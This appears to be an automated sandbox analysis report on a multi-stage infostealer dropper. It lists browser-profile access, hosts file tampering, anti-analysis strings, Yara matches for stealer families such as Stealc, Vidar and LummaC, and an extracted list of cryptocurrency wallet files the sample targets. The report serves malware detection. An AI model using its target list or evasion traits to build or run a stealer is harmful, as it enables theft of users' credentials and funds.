Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\temporary VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\to-be-removed VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CEDA8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CEDA8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE28390 NSS_GetVersion,

0_2_6CE28390

Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe

File written: C:\Windows\System32\drivers\etc\hosts

Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: 4edf09f764.exe, 00000032.00000003.2941499349.00000000013C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 21.2.DocumentsBGIJJKKJJD.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.9a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000003.1938476402.00000000048B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.1894784789.0000000004950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1935284128.0000000000171000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.1939050508.0000000005190000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.1979443470.00000000009A1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY

Yara detected Cerbfyne Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 26.0.filer.exe.7ff7c9b50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.filer.exe.7ff7c9b50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.2454696595.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: filer.exe PID: 6368, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\filer[1].exe, type: DROPPED

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 1623118d84.exe PID: 7448, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 4edf09f764.exe PID: 5900, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 4edf09f764.exe PID: 5188, type: MEMORYSTR

Yara detected Poverty Stealer

Source: Yara match	File source: 49.2.Tq4a1Bz.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 49.2.Tq4a1Bz.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.Tq4a1Bz.exe.6a9fe8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.Tq4a1Bz.exe.6a9fe8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.2691407230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Tq4a1Bz.exe PID: 6656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Tq4a1Bz.exe PID: 6488, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000033.00000003.2843261065.0000000005270000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1897672574.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1374560457.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000002.2891886425.00000000008A1000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1896494863.0000000000371000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000002.2898396120.000000000152E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6af0f0d802.exe PID: 5360, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1896494863.0000000000425000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1896494863.00000000004D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia 